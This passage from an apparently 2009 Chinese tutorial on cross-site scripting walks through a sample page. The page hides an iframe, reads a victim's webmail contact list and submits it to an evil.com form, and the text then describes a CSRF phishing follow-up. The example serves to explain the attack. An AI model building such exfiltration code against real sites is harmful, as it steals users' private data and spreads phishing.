跨站脚本攻击深入解析(上)
2009-02-25 13:54:15 来源:WEB开发网下列JavaScript代码:
< html >
< body >
<iframe style="display:none" name="WebmailIframe"
src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->
< / iframe >
< form action="http://evil.com/getContactList" name=”EvilForm" >
< input type="hidden" name="contacts" value="default value" >
< /form >
现在,您所有联系人都已经落入我们的手中了。
< /body >
< script >
function doEvil() {
var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */
document.EvilForm.contacts = victimsContactList;
document.EvilForm.submit;
}
setTimeout("doEvil()", 1000); /* Step 2 */
< / script >
< / html >
第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts,它是webmail应用程序中的一个调用,用以收集用户的联系人名单。
第二步是等待1秒钟,然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后,doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话,攻击者就已经在变量victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。
如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话,情况会变得更糟:这些联系人将收到一封貌似来自朋友的电子邮件,并且在邮件中邀请他们点击http://www.evil.com/index.html。
- ››深入理解JAR包
- ››深入分析Volatile的实现原理
- ››深入理解Flash Player的应用程序域(Application ...
- ››深入理解flash函数(AS2)
- ››深入理解Android消息处理系统——Looper、Handler...
- ››深入理解SET NAMES和mysql(i)_set_charset的区别
- ››深入理解Mysql字符集设置
- ››深入浅出实战攻防恶意PDF文档
- ››深入剖析防火墙策略的执行过程:ISA2006系列之六
- ››深入JavaScript与.NET Framework中的日期时间(3)...
- ››深入JavaScript与.NET Framework中的日期时间(2)...
- ››深入JavaScript与.NET Framework中的日期时间(1)...
更多精彩
赞助商链接